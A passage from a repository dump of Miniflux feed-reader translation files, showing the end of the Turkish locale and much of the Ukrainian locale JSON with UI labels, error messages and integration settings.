\"Okundu/okunmadı arasında geçiş yap, öncekine odaklan\",\n    \"page.login.google_signin\": \"Google ile oturum aç\",\n    \"page.login.oidc_signin\": \"%s ile oturum aç\",\n    \"page.login.title\": \"Oturum aç\",\n    \"page.login.webauthn_login\": \"Passkey ile giriş yap\",\n    \"page.login.webauthn_login.error\": \"Passkey ile giriş yapılamıyor\",\n    \"page.login.webauthn_login.help\": \"Please enter your username if you're using a security key. This is not required if you are using a Passkey (discoverable credentials).\",\n    \"page.new_api_key.title\": \"Yeni API Anahtarı\",\n    \"page.new_category.title\": \"Yeni Kategori\",\n    \"page.new_user.title\": \"Yeni Kullanıcı\",\n    \"page.offline.message\": \"Çevrimdışısınız\",\n    \"page.offline.refresh_page\": \"Sayfayı yenilemeyi dene\",\n    \"page.offline.title\": \"Çevrimdışı Modu\",\n    \"page.read_entry_count\": [\n        \"%d okunmuş makale\",\n        \"%d okunmuş makale\"\n    ],\n    \"page.search.title\": \"Arama Sonuçları\",\n    \"page.sessions.table.actions\": \"Eylemler\",\n    \"page.sessions.table.current_session\": \"Mevcut Oturum\",\n    \"page.sessions.table.date\": \"Tarih\",\n    \"page.sessions.table.ip\": \"IP Adresi\",\n    \"page.sessions.table.user_agent\": \"User Agent\",\n    \"page.sessions.title\": \"Oturumlar\",\n    \"page.settings.link_google_account\": \"Google hesabımı bağla\",\n    \"page.settings.link_oidc_account\": \"%s hesabımı bağla\",\n    \"page.settings.title\": \"Ayarlar\",\n    \"page.settings.unlink_google_account\": \"Google hesabımın bağlantısını kaldır\",\n    \"page.settings.unlink_oidc_account\": \"%s hesabımın bağlantısını kaldır\",\n    \"page.settings.webauthn.actions\": \"Eylemler\",\n    \"page.settings.webauthn.added_on\": \"Eklendi\",\n    \"page.settings.webauthn.delete\": [\n        \"%d passkey'i kaldır\",\n        \"%d passkey'i kaldır\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Son Kullanım\",\n    \"page.settings.webauthn.passkey_name\": \"Passkey Adı\",\n    \"page.settings.webauthn.passkeys\": \"Passkeyler\",\n    \"page.settings.webauthn.register\": \"Passkey'i kaydet\",\n    \"page.settings.webauthn.register.error\": \"Passkey kaydedilemiyor\",\n    \"page.shared_entries.title\": \"Paylaşılan makaleler\",\n    \"page.shared_entries_count\": [\n        \"%d paylaşılan makaleler\",\n        \"%d paylaşılan makaleler\"\n    ],\n    \"page.starred.title\": \"Yıldızlı\",\n    \"page.starred_entry_count\": [\n        \"%d yıldızlanmış makale\",\n        \"%d yıldızlanmış makale\"\n    ],\n    \"page.total_entry_count\": [\n        \"Toplamda %d makale\",\n        \"Toplamda %d makale\"\n    ],\n    \"page.unread.title\": \"Okunmadı\",\n    \"page.unread_entry_count\": [\n        \"Toplamda %d okunmamış makale\",\n        \"Toplamda %d okunmamış makale\"\n    ],\n    \"page.users.actions\": \"Eylemler\",\n    \"page.users.admin.no\": \"Hayır\",\n    \"page.users.admin.yes\": \"Evet\",\n    \"page.users.is_admin\": \"Yönetici\",\n    \"page.users.last_login\": \"Son Giriş\",\n    \"page.users.never_logged\": \"Asla\",\n    \"page.users.title\": \"Kullanıcılar\",\n    \"page.users.username\": \"Kullanıcı adı\",\n    \"page.webauthn_rename.title\": \"Passkey'i Yeniden Adlandır\",\n    \"pagination.first\": \"İlk\",\n    \"pagination.last\": \"Son\",\n    \"pagination.next\": \"Sonraki\",\n    \"pagination.previous\": \"Önceki\",\n    \"search.label\": \"Ara\",\n    \"search.placeholder\": \"Ara...\",\n    \"search.submit\": \"Ara\",\n    \"skip_to_content\": \"İçeriğe atla\",\n    \"time_elapsed.days\": [\n        \"%d gün önce\",\n        \"%d gün önce\"\n    ],\n    \"time_elapsed.hours\": [\n        \"%d saat önce\",\n        \"%d saat önce\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"%d dakika önce\",\n        \"%d dakika önce\"\n    ],\n    \"time_elapsed.months\": [\n        \"%d ay önce\",\n        \"%d ay önce\"\n    ],\n    \"time_elapsed.not_yet\": \"henüz değil\",\n    \"time_elapsed.now\": \"şimdi\",\n    \"time_elapsed.weeks\": [\n        \"%d hafta önce\",\n        \"%d hafta önce\"\n    ],\n    \"time_elapsed.years\": [\n        \"%d yıl önce\",\n        \"%d yıl önce\"\n    ],\n    \"time_elapsed.yesterday\": \"dün\",\n    \"tooltip.keyboard_shortcuts\": \"Klavye Kısayolu: %s\",\n    \"tooltip.logged_user\": \"%s olarak giriş yapıldı\"\n}\n"
  },
  {
    "path": "internal/locale/translations/uk_UA.json",
    "content": "{\n    \"action.cancel\": \"скасувати\",\n    \"action.download\": \"Завантажити\",\n    \"action.edit\": \"Редагувати\",\n    \"action.home_screen\": \"Додати до головного екрану\",\n    \"action.import\": \"Імпортувати\",\n    \"action.login\": \"Увійти\",\n    \"action.or\": \"або\",\n    \"action.remove\": \"Видалити\",\n    \"action.remove_feed\": \"Видалити стрічку\",\n    \"action.save\": \"Зберегти\",\n    \"action.subscribe\": \"Підписатись\",\n    \"action.update\": \"Зберегти\",\n    \"alert.account_linked\": \"Тепер ваш зовнішній обліковий запис від’єднано!\",\n    \"alert.account_unlinked\": \"Тепер ваш зовнішній обліковий запис підключено!\",\n    \"alert.background_feed_refresh\": \"Всі стрічки оновлюються у фоновому режимі. Ви можете продовжувати користуватися Miniflux, поки триває цей процес.\",\n    \"alert.feed_error\": \"З цією стрічкою трапилась помилка\",\n    \"alert.no_starred\": \"Наразі закладки відсутні.\",\n    \"alert.no_category\": \"Немає категорії.\",\n    \"alert.no_category_entry\": \"У цій категорії немає записів.\",\n    \"alert.no_feed\": \"У вас немає підписок.\",\n    \"alert.no_feed_entry\": \"У цій стрічці немає записів.\",\n    \"alert.no_feed_in_category\": \"У цій категорії немає підписок.\",\n    \"alert.no_history\": \"Наразі історія порожня.\",\n    \"alert.no_search_result\": \"Немає результатів для цього пошуку.\",\n    \"alert.no_shared_entry\": \"Немає спільного запису.\",\n    \"alert.no_tag_entry\": \"Немає записів, що відповідають цьому тегу.\",\n    \"alert.no_unread_entry\": \"Немає непрочитаних статей.\",\n    \"alert.no_user\": \"Ви єдиний користувач.\",\n    \"alert.prefs_saved\": \"Уподобання збережено!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"Ви запустили надто багато оновлень стрічок. Будь ласка, зачекайте %d хвилину перед повторною спробою.\",\n        \"Ви запустили надто багато оновлень стрічок. Будь ласка, зачекайте %d хвилини перед повторною спробою.\",\n        \"Ви запустили надто багато оновлень стрічок. Будь ласка, зачекайте %d хвилин перед повторною спробою.\"\n    ],\n    \"confirm.loading\": \"В процесі...\",\n    \"confirm.no\": \"ні\",\n    \"confirm.question\": \"Ви впевнені?\",\n    \"confirm.question.refresh\": \"Ви хочете змусити оновити?\",\n    \"confirm.yes\": \"так\",\n    \"enclosure_media_controls.seek\": \"Пошук:\",\n    \"enclosure_media_controls.seek.title\": \"Пошук %s секунд\",\n    \"enclosure_media_controls.speed\": \"Швидкість:\",\n    \"enclosure_media_controls.speed.faster\": \"Швидше\",\n    \"enclosure_media_controls.speed.faster.title\": \"Швидше на %sx\",\n    \"enclosure_media_controls.speed.reset\": \"Скинути\",\n    \"enclosure_media_controls.speed.reset.title\": \"Скинути швидкість до 1x\",\n    \"enclosure_media_controls.speed.slower\": \"Повільніше\",\n    \"enclosure_media_controls.speed.slower.title\": \"Повільніше на %sx\",\n    \"entry.starred.toast.off\": \"Без зірочки\",\n    \"entry.starred.toast.on\": \"З зірочкою\",\n    \"entry.starred.toggle.off\": \"Прибрати зірочку\",\n    \"entry.starred.toggle.on\": \"Поставити зірочку\",\n    \"entry.comments.label\": \"Коментарі\",\n    \"entry.comments.title\": \"Дивитися коментарі\",\n    \"entry.estimated_reading_time\": [\n        \"читати %d хвилину\",\n        \"читати %d хвилини\",\n        \"читати %d хвилин\"\n    ],\n    \"entry.external_link.label\": \"Зовнішнє посилання\",\n    \"entry.save.completed\": \"Готово!\",\n    \"entry.save.label\": \"Зберегти\",\n    \"entry.save.title\": \"Зберегти цю статтю\",\n    \"entry.save.toast.completed\": \"Стаття збережена\",\n    \"entry.scraper.completed\": \"Готово!\",\n    \"entry.scraper.label\": \"Завантажити\",\n    \"entry.scraper.title\": \"Отримати оригінальний зміст\",\n    \"entry.share.label\": \"Поділитись\",\n    \"entry.share.title\": \"Поділитись статтєю\",\n    \"entry.shared_entry.label\": \"Поділитись\",\n    \"entry.shared_entry.title\": \"Відкрити публічне посилання\",\n    \"entry.state.loading\": \"Завантаження...\",\n    \"entry.state.saving\": \"Зберігаю...\",\n    \"entry.status.mark_as_read\": \"Позначити як прочитане\",\n    \"entry.status.mark_as_unread\": \"Позначити як непрочитане\",\n    \"entry.status.title\": \"Змінити стан запису\",\n    \"entry.status.toast.read\": \"Відмічено прочитаним\",\n    \"entry.status.toast.unread\": \"Відмічено непрочитаним\",\n    \"entry.tags.label\": \"Теги:\",\n    \"entry.tags.more_tags_label\": [\n        \"Ще %d тег\",\n        \"Ще %d теги\",\n        \"Ще %d тегів\"\n    ],\n    \"entry.unshare.label\": \"Не ділитися\",\n    \"error.api_key_already_exists\": \"Такий ключ API вже існує.\",\n    \"error.bad_credentials\": \"Невірне ім’я користувача або пароль.\",\n    \"error.category_already_exists\": \"Така категорія вже існує.\",\n    \"error.category_not_found\": \"Ця категорія не існує або не належить цьому користувачу.\",\n    \"error.database_error\": \"Помилка бази даних: %v.\",\n    \"error.different_passwords\": \"Паролі не співпадають.\",\n    \"error.duplicate_fever_username\": \"Вже є обліковий запис з таким самим користувачем Fever!\",\n    \"error.duplicate_googlereader_username\": \"Вже є обліковий запис з таким самим користувачем Google Reader!\",\n    \"error.duplicate_linked_account\": \"Вже є обліковий запис, під’єднаний до цього провайдера!\",\n    \"error.duplicated_feed\": \"Ця стрічка вже існує.\",\n    \"error.empty_file\": \"Цей файл порожній.\",\n    \"error.entries_per_page_invalid\": \"Число записів на сторінку недійсне.\",\n    \"error.feed_already_exists\": \"Така стрічка вже існує.\",\n    \"error.feed_category_not_found\": \"Категорія не існує або належить до іншого користувача.\",\n    \"error.feed_format_not_detected\": \"Не вдалося визначити формат стрічки: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"Правило списку блокувань недійсне.\",\n    \"error.feed_invalid_keeplist_rule\": \"Правило списку дозволень недійсне.\",\n    \"error.feed_mandatory_fields\": \"URL та категорія є обов’язковими.\",\n    \"error.feed_not_found\": \"Ця стрічка не існує або не належить цьому користувачу.\",\n    \"error.feed_title_not_empty\": \"Назва стрічки не може бути порожньою.\",\n    \"error.feed_url_not_empty\": \"URL-адреса стрічки не може бути порожньою.\",\n    \"error.fields_mandatory\": \"Всі поля є обов’язковими.\",\n    \"error.http_bad_gateway\": \"Сайт наразі недоступний через помилку шлюзу. Проблема не на стороні Miniflux. Будь ласка, спробуйте пізніше.\",\n    \"error.http_body_read\": \"Не вдалося прочитати HTTP-вміст: %v.\",\n    \"error.http_client_error\": \"Помилка HTTP-клієнта: %v.\",\n    \"error.http_empty_response\": \"Відповідь HTTP порожня. Можливо, цей сайт використовує захист від ботів?\",\n    \"error.http_empty_response_body\": \"Тіло відповіді HTTP порожнє.\",\n    \"error.http_forbidden\": \"Доступ до цього сайту заборонено. Можливо, сайт має захист від ботів?\",\n    \"error.http_gateway_timeout\": \"Сайт наразі недоступний через помилку тайм-ауту шлюзу. Проблема не на стороні Miniflux. Будь ласка, спробуйте пізніше.\",\n    \"error.http_internal_server_error\": \"Сайт наразі недоступний через внутрішню помилку сервера. Проблема не на стороні Miniflux. Будь ласка, спробуйте пізніше.\",\n    \"error.http_not_authorized\": \"Доступ до цього сайту не дозволено. Можливо, неправильне ім’я користувача або пароль.\",\n    \"error.http_resource_not_found\": \"Запитаний ресурс не знайдено. Будь ласка, перевірте URL.\",\n    \"error.http_response_too_large\": \"Відповідь HTTP занадто велика. Ви можете збільшити ліміт розміру HTTP-відповіді у глобальних налаштуваннях (потрібен перезапуск сервера).\",\n    \"error.http_service_unavailable\": \"Сайт наразі недоступний через внутрішню помилку сервера. Проблема не на стороні Miniflux. Будь ласка, спробуйте пізніше.\",\n    \"error.http_too_many_requests\": \"Miniflux згенерував надто багато запитів до цього сайту. Будь ласка, спробуйте пізніше або змініть налаштування програми.\",\n    \"error.http_unexpected_status_code\": \"Сайт наразі недоступний через неочікуваний HTTP-код: %d. Проблема не на стороні Miniflux. Будь ласка, спробуйте пізніше.\",\n    \"error.invalid_categories_sorting_order\": \"Недійсний порядок сортування категорій.\",\n    \"error.invalid_default_home_page\": \"Недійсна домашня сторінка за замовчуванням!\",\n    \"error.invalid_display_mode\": \"Недійсний режим відображення.\",\n    \"error.invalid_entry_direction\": \"Недійсний напрямок запису.\",\n    \"error.invalid_entry_order\": \"Недійсний порядок запису.\",\n    \"error.invalid_feed_proxy_url\": \"Недійсний proxy URL.\",\n    \"error.invalid_feed_url\": \"Недійсна URL-адреса стрічки.\",\n    \"error.invalid_gesture_nav\": \"Недійсна навігація жестами.\",\n    \"error.invalid_language\": \"Недійсна мова.\",\n    \"error.invalid_site_url\": \"Недійсна URL-адреса сайту.\",\n    \"error.invalid_theme\": \"Недійсна тема.\",\n    \"error.invalid_timezone\": \"Недійсний часовий пояс.\",\n    \"error.network_operation\": \"Miniflux не може отримати доступ до цього сайту через помилку мережі: %v.\",\n    \"error.network_timeout\": \"Цей сайт занадто повільний і запит перевищив час очікування: %v\",\n    \"error.password_min_length\": \"Пароль має складати щонайменше 6 символів.\",\n    \"error.proxy_url_not_empty\": \"Proxy URL не може бути порожнім.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Недійсне правило блокування: у правилі #%d відсутнє коректне ім’я поля (Опції: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Недійсне правило блокування: шаблон правила #%d не є коректним регулярним виразом\",\n    \"error.settings_block_rule_regex_required\": \"Недійсне правило блокування: не вказано шаблон для правила #%d\",\n    \"error.settings_block_rule_separator_required\": \"Недійсне правило блокування: шаблон правила #%d має бути розділений знаком '='\",\n    \"error.settings_invalid_domain_list\": \"Недійсний список доменів. Будь ласка, вкажіть список доменів, розділених пробілами.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Недійсне правило дозволення: у правилі #%d відсутнє коректне ім’я поля (Опції: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Недійсне правило дозволення: шаблон правила #%d не є коректним регулярним виразом\",\n    \"error.settings_keep_rule_regex_required\": \"Недійсне правило дозволення: не вказано шаблон для правила #%d\",\n    \"error.settings_keep_rule_separator_required\": \"Недійсне правило дозволення: шаблон правила #%d має бути розділений знаком '='\",\n    \"error.settings_mandatory_fields\": \"Поля імені, теми, мови та часового поясу є обов’язковими.\",\n    \"error.settings_media_playback_rate_range\": \"Швидкість відтворення виходить за межі діапазону\",\n    \"error.settings_reading_speed_is_positive\": \"Швидкість читання має бути додатнім цілим числом.\",\n    \"error.site_url_not_empty\": \"URL-адреса сайту не може бути порожньою.\",\n    \"error.subscription_not_found\": \"Не знайшлося жодної підписки.\",\n    \"error.title_required\": \"Назва є обов’язковою.\",\n    \"error.tls_error\": \"Помилка TLS: %q. Ви можете відключити перевірку TLS в налаштуваннях фіду, якщо хочете.\",\n    \"error.unable_to_create_api_key\": \"Не вдається створити такий ключ API\",\n    \"error.unable_to_create_category\": \"Не вдається сворити категорію.\",\n    \"error.unable_to_create_user\": \"Не вдається створити користувача.\",\n    \"error.unable_to_detect_rssbridge\": \"Не вдалося виявити стрічку за допомогою RSS-Bridge: %v.\",\n    \"error.unable_to_parse_feed\": \"Не вдалося розібрати цю стрічку: %v.\",\n    \"error.unable_to_update_category\": \"Не вдається відредагувати категорію.\",\n    \"error.unable_to_update_feed\": \"Не вдається оновити стрічку.\",\n    \"error.unable_to_update_user\": \"Не вдається оновити користувача.\",\n    \"error.unlink_account_without_password\": \"Ви маєте встановити пароль, щоб мати можливість увійти наступного разу\",\n    \"error.user_already_exists\": \"Такий користувач вже існує.\",\n    \"error.user_mandatory_fields\": \"Ім'я користувача є обов'язковим.\",\n    \"error.linktaco_missing_required_fields\": \"LinkTaco API Token і Organization Slug є обов'язковими\",\n    \"form.api_key.label.description\": \"Назва ключа API\",\n    \"form.category.hide_globally\": \"Приховати записи в глобальному списку непрочитаного\",\n    \"form.category.label.title\": \"Назва\",\n    \"form.feed.fieldset.general\": \"Загальні\",\n    \"form.feed.fieldset.integration\": \"Сторонні сервіси\",\n    \"form.feed.fieldset.network_settings\": \"Налаштування мережі\",\n    \"form.feed.fieldset.rules\": \"Правила\",\n    \"form.feed.label.allow_self_signed_certificates\": \"Дозволити сертифікати з власним підписом або недійсні\",\n    \"form.feed.label.apprise_service_urls\": \"Список URL сервісів Apprise, розділених комами\",\n    \"form.feed.label.block_filter_entry_rules\": \"Правила блокування записів\",\n    \"form.feed.label.blocklist_rules\": \"Фільтри блокування на основі регулярних виразів\",\n    \"form.feed.label.category\": \"Категорія\",\n    \"form.feed.label.cookie\": \"Встановити кукі\",\n    \"form.feed.label.crawler\": \"Завантажувати оригінальний вміст\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignore entry updates\",\n    \"form.feed.label.description\": \"Опис\",\n    \"form.feed.label.disable_http2\": \"Вимкнути HTTP/2 для уникнення відбитків\",\n    \"form.feed.label.disabled\": \"Не оновлювати цю стрічку\",\n    \"form.feed.label.feed_password\": \"Пароль для завантаження\",\n    \"form.feed.label.feed_url\": \"URL-адреса стрічки\",\n    \"form.feed.label.feed_username\": \"Ім’я користувача для завантаження\",\n    \"form.feed.label.fetch_via_proxy\": \"Використовувати проксі, налаштований на рівні програми\",\n    \"form.feed.label.hide_globally\": \"Приховати записи в глобальному списку непрочитаного\",\n    \"form.feed.label.ignore_http_cache\": \"Ігнорувати кеш HTTP\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Правила дозволу записів\",\n    \"form.feed.label.keeplist_rules\": \"Фільтри збереження на основі регулярних виразів\",\n    \"form.feed.label.no_media_player\": \"Немає медіаплеєра (аудіо/відео)\",\n    \"form.feed.label.ntfy_activate\": \"Надсилати записи у ntfy\",\n    \"form.feed.label.ntfy_default_priority\": \"Стандартний пріоритет ntfy\",\n    \"form.feed.label.ntfy_high_priority\": \"Високий пріоритет ntfy\",\n    \"form.feed.label.ntfy_low_priority\": \"Низький пріоритет ntfy\",\n    \"form.feed.label.ntfy_max_priority\": \"Максимальний пріоритет ntfy\",\n    \"form.feed.label.ntfy_min_priority\": \"Мінімальний пріоритет ntfy\",\n    \"form.feed.label.ntfy_priority\": \"Пріоритет ntfy\",\n    \"form.feed.label.ntfy_topic\": \"Тема ntfy (необов’язково)\",\n    \"form.feed.label.proxy_url\": \"URL-адреса проксі\",\n    \"form.feed.label.pushover_activate\": \"Надсилати записи у pushover.net\",\n    \"form.feed.label.pushover_default_priority\": \"Стандартний пріоритет Pushover\",\n    \"form.feed.label.pushover_high_priority\": \"Високий пріоритет Pushover\",\n    \"form.feed.label.pushover_low_priority\": \"Низький пріоритет Pushover\",\n    \"form.feed.label.pushover_max_priority\": \"Максимальний пріоритет Pushover\",\n    \"form.feed.label.pushover_min_priority\": \"Мінімальний пріоритет Pushover\",\n    \"form.feed.label.pushover_priority\": \"Пріоритет повідомлення Pushover\",\n    \"form.feed.label.rewrite_rules\": \"Правила перезапису вмісту\",\n    \"form.feed.label.scraper_rules\": \"Правила Scraper\",\n    \"form.feed.label.site_url\": \"URL-адреса сайту\",\n    \"form.feed.label.title\": \"Назва\",\n    \"form.feed.label.urlrewrite_rules\": \"Правила перезапису URL-адрес\",\n    \"form.feed.label.user_agent\": \"Назначити User Agent\",\n    \"form.feed.label.webhook_url\": \"Перевизначити URL вебхука\",\n    \"form.import.label.file\": \"Файл OPML\",\n    \"form.import.label.url\": \"URL-адреса\",\n    \"form.integration.archiveorg_activate\": \"Надсилати записи у archive.org\",\n    \"form.integration.apprise_activate\": \"Надсилати записи у Apprise\",\n    \"form.integration.apprise_services_url\": \"Список URL сервісів Apprise, розділених комами\",\n    \"form.integration.apprise_url\": \"URL API Apprise\",\n    \"form.integration.betula_activate\": \"Зберігати записи до Betula\",\n    \"form.integration.betula_token\": \"Токен Betula\",\n    \"form.integration.betula_url\": \"URL сервера Betula\",\n    \"form.integration.cubox_activate\": \"Зберігати статті до Cubox\",\n    \"form.integration.cubox_api_link\": \"Посилання на Cubox API\",\n    \"form.integration.discord_activate\": \"Надсилати записи до Discord\",\n    \"form.integration.discord_webhook_link\": \"Посилання на вебхук Discord\",\n    \"form.integration.espial_activate\": \"Зберігати статті до Espial\",\n    \"form.integration.espial_api_key\": \"Ключ API Espial\",\n    \"form.integration.espial_endpoint\": \"Кінцева точка API Espial\",\n    \"form.integration.espial_tags\": \"Теги для Espial\",\n    \"form.integration.fever_activate\": \"Увімкнути API Fever\",\n    \"form.integration.fever_endpoint\": \"Адреса доступу API Fever:\",\n    \"form.integration.fever_password\": \"Пароль Fever\",\n    \"form.integration.fever_username\": \"Ім’я користувача Fever\",\n    \"form.integration.googlereader_activate\": \"Увімкнути API Google Reader\",\n    \"form.integration.googlereader_endpoint\": \"Адреса доступу API Google Reader:\",\n    \"form.integration.googlereader_password\": \"Пароль Google Reader\",\n    \"form.integration.googlereader_username\": \"Ім’я користувача Google Reader\",\n    \"form.integration.instapaper_activate\": \"Зберігати статті до Instapaper\",\n    \"form.integration.instapaper_password\": \"Пароль Instapaper\",\n    \"form.integration.instapaper_username\": \"Ім’я користувача Instapaper\",\n    \"form.integration.karakeep_activate\": \"Зберігати статті до Karakeep\",\n    \"form.integration.karakeep_api_key\": \"Ключ API Karakeep\",\n    \"form.integration.karakeep_url\": \"Кінцева точка API Karakeep\",\n    \"form.integration.karakeep_tags\": \"Теги Karakeep\",\n    \"form.integration.linkace_activate\": \"Зберігати статті до LinkAce\",\n    \"form.integration.linkace_api_key\": \"Ключ API LinkAce\",\n    \"form.integration.linkace_check_disabled\": \"Вимкнути перевірку посилань\",\n    \"form.integration.linkace_endpoint\": \"Кінцева точка API LinkAce\",\n    \"form.integration.linkace_is_private\": \"Відмічати посилання як приватне\",\n    \"form.integration.linkace_tags\": \"Теги LinkAce\",\n    \"form.integration.linkding_activate\": \"Зберігати статті до Linkding\",\n    \"form.integration.linkding_api_key\": \"Ключ API Linkding\",\n    \"form.integration.linkding_bookmark\": \"Відмічати закладку як непрочитану\",\n    \"form.integration.linkding_endpoint\": \"Linkding API Endpoint\",\n    \"form.integration.linkding_tags\": \"Теги Linkding\",\n    \"form.integration.linktaco_activate\": \"Зберігати статті в LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"LinkTaco API Token\",\n    \"form.integration.linktaco_api_token_hint\": \"Отримайте ваш персональний токен доступу на\",\n    \"form.integration.linktaco_org_slug\": \"Organization Slug\",\n    \"form.integration.linktaco_tags\": \"Теги (макс. 10, через кому)\",\n    \"form.integration.linktaco_tags_hint\": \"Максимум 10 тегів, через кому\",\n    \"form.integration.linktaco_visibility\": \"Видимість\",\n    \"form.integration.linktaco_visibility_public\": \"Публічно\",\n    \"form.integration.linktaco_visibility_private\": \"Приватно\",\n    \"form.integration.linktaco_visibility_hint\": \"ПРИВАТНА видимість потребує платного акаунта LinkTaco\",\n    \"form.integration.linkwarden_activate\": \"Зберігати статті до Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"Ключ API Linkwarden\",\n    \"form.integration.linkwarden_endpoint\": \"Базова URL-адреса Linkwarden\",\n    \"form.integration.linkwarden_collection_id\": \"Linkwarden Collection ID\",\n    \"form.integration.matrix_bot_activate\": \"Перенесення нових статей в Матрицю\",\n    \"form.integration.matrix_bot_chat_id\": \"Ідентифікатор кімнати Матриці\",\n    \"form.integration.matrix_bot_password\": \"Пароль для користувача Matrix\",\n    \"form.integration.matrix_bot_url\": \"URL-адреса сервера Матриці\",\n    \"form.integration.matrix_bot_user\": \"Ім'я користувача для Matrix\",\n    \"form.integration.notion_activate\": \"Save entries to Notion\",\n    \"form.integration.notion_page_id\": \"Notion Page ID\",\n    \"form.integration.notion_token\": \"Notion Secret Token\",\n    \"form.integration.ntfy_activate\": \"Надсилати записи у ntfy\",\n    \"form.integration.ntfy_api_token\": \"Ntfy API Token (optional)\",\n    \"form.integration.ntfy_icon_url\": \"Ntfy Icon URL (optional)\",\n    \"form.integration.ntfy_internal_links\": \"Використовувати внутрішні посилання при натисканні (необов’язково)\",\n    \"form.integration.ntfy_password\": \"Ntfy Password (optional)\",\n    \"form.integration.ntfy_topic\": \"Ntfy topic (default if not set in feed)\",\n    \"form.integration.ntfy_url\": \"Ntfy URL (optional, default is ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Ntfy Username (optional)\",\n    \"form.integration.nunux_keeper_activate\": \"Зберігати статті до Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"Ключ API Nunux Keeper\",\n    \"form.integration.nunux_keeper_endpoint\": \"Nunux Keeper API Endpoint\",\n    \"form.integration.omnivore_activate\": \"Зберігати статті до Omnivore\",\n    \"form.integration.omnivore_api_key\": \"Ключ API Omnivore\",\n    \"form.integration.omnivore_url\": \"Omnivore API Endpoint\",\n    \"form.integration.pinboard_activate\": \"Зберігати статті до Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"Відмічати закладку як непрочитану\",\n    \"form.integration.pinboard_tags\": \"Теги для Pinboard\",\n    \"form.integration.pinboard_token\": \"API ключ від Pinboard\",\n    \"form.integration.pushover_activate\": \"Push entries to Pushover\",\n    \"form.integration.pushover_device\": \"Pushover device (optional)\",\n    \"form.integration.pushover_prefix\": \"Pushover URL prefix (optional)\",\n    \"form.integration.pushover_token\": \"Pushover application API token\",\n    \"form.integration.pushover_user\": \"Pushover user key\",\n    \"form.integration.raindrop_activate\": \"Save entries to Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"Collection ID\",\n    \"form.integration.raindrop_tags\": \"Tags (comma-separated)\",\n    \"form.integration.raindrop_token\": \"(Test) Token\",\n    \"form.integration.readeck_activate\": \"Зберігати статті до Readeck\",\n    \"form.integration.readeck_api_key\": \"Ключ API Readeck\",\n    \"form.integration.readeck_endpoint\": \"Readeck URL\",\n    \"form.integration.readeck_labels\": \"Readeck Labels\",\n    \"form.integration.readeck_only_url\": \"Надіслати лише URL (замість повного вмісту)\",\n    \"form.integration.readeck_push_activate\": \"Automatically push new entries to Readeck\",\n    \"form.integration.readwise_activate\": \"Save entries to Readwise Reader\",\n    \"form.integration.readwise_api_key\": \"Readwise Reader Access Token\",\n    \"form.integration.readwise_api_key_link\": \"Get your Readwise Access Token\",\n    \"form.integration.rssbridge_activate\": \"Check RSS-Bridge when adding subscriptions\",\n    \"form.integration.rssbridge_token\": \"RSS-Bridge authentication token\",\n    \"form.integration.rssbridge_url\": \"RSS-Bridge server URL\",\n    \"form.integration.shaarli_activate\": \"Save articles to Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"Shaarli API Secret\",\n    \"form.integration.shaarli_endpoint\": \"Shaarli URL\",\n    \"form.integration.shiori_activate\": \"Save articles to Shiori\",\n    \"form.integration.shiori_endpoint\": \"Shiori API Endpoint\",\n    \"form.integration.shiori_password\": \"Shiori Password\",\n    \"form.integration.shiori_username\": \"Shiori Username\",\n    \"form.integration.slack_activate\": \"Slack entries to Discord\",\n    \"form.integration.slack_webhook_link\": \"Slack Webhook link\",\n    \"form.integration.telegram_bot_activate\": \"Відправляти нові статті до чату Telegram\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Вимкнути кнопки\",\n    \"form.integration.telegram_bot_disable_notification\": \"Вимкнути сповіщення\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Вимкнути попередній перегляд вебсторінок\",\n    \"form.integration.telegram_bot_token\": \"Токен боту\",\n    \"form.integration.telegram_chat_id\": \"ID чату\",\n    \"form.integration.telegram_topic_id\": \"ID теми\",\n    \"form.integration.wallabag_activate\": \"Зберігати статті до Wallabag\",\n    \"form.integration.wallabag_client_id\": \"ID клієнта Wallabag\",\n    \"form.integration.wallabag_client_secret\": \"Секрет клієнта Wallabag\",\n    \"form.integration.wallabag_endpoint\": \"Базова URL-адреса Wallabag\",\n    \"form.integration.wallabag_tags\": \"Теги Wallabag\",\n    \"form.integration.wallabag_only_url\": \"Надіслати лише URL (замість повного вмісту)\",\n    \"form.integration.wallabag_password\": \"Пароль Wallabag\",\n    \"form.integration.wallabag_username\": \"Ім’я користувача Wallabag\",\n    \"form.integration.webhook_activate\": \"Увімкнути вебхуки\",\n    \"form.integration.webhook_secret\": \"Секрет вебхуків\",\n    \"form.integration.webhook_url\": \"URL вебхука за замовчуванням\",\n    \"form.prefs.fieldset.application_settings\": \"Налаштування застосунку\",\n    \"form.prefs.fieldset.authentication_settings\": \"Налаштування автентифікації\",\n    \"form.prefs.fieldset.global_feed_settings\": \"Глобальні налаштування стрічок\",\n    \"form.prefs.fieldset.reader_settings\": \"Налаштування читача\",\n    \"form.prefs.help.external_font_hosts\": \"Список дозволених зовнішніх хостів шрифтів, розділених пробілами. Наприклад: 'fonts.gstatic.com fonts.googleapis.com'.\",\n    \"form.prefs.label.always_open_external_links\": \"Читати статті, відкриваючи зовнішні посилання\",\n    \"form.prefs.label.categories_sorting_order\": \"Сортування за категоріями\",\n    \"form.prefs.label.cjk_reading_speed\": \"Швидкість читання для китайської, корейської та японської мови (символів на хвилину)\",\n    \"form.prefs.label.custom_css\": \"Спеціальний CSS\",\n    \"form.prefs.label.custom_js\": \"Спеціальний JavaScript\",\n    \"form.prefs.label.default_home_page\": \"Домашня сторінка за умовчанням\",\n    \"form.prefs.label.default_reading_speed\": \"Швидкість читання для інших мов (слів на хвилину)\",\n    \"form.prefs.label.display_mode\": \"Режим відображення Progressive Web App (PWA).\",\n    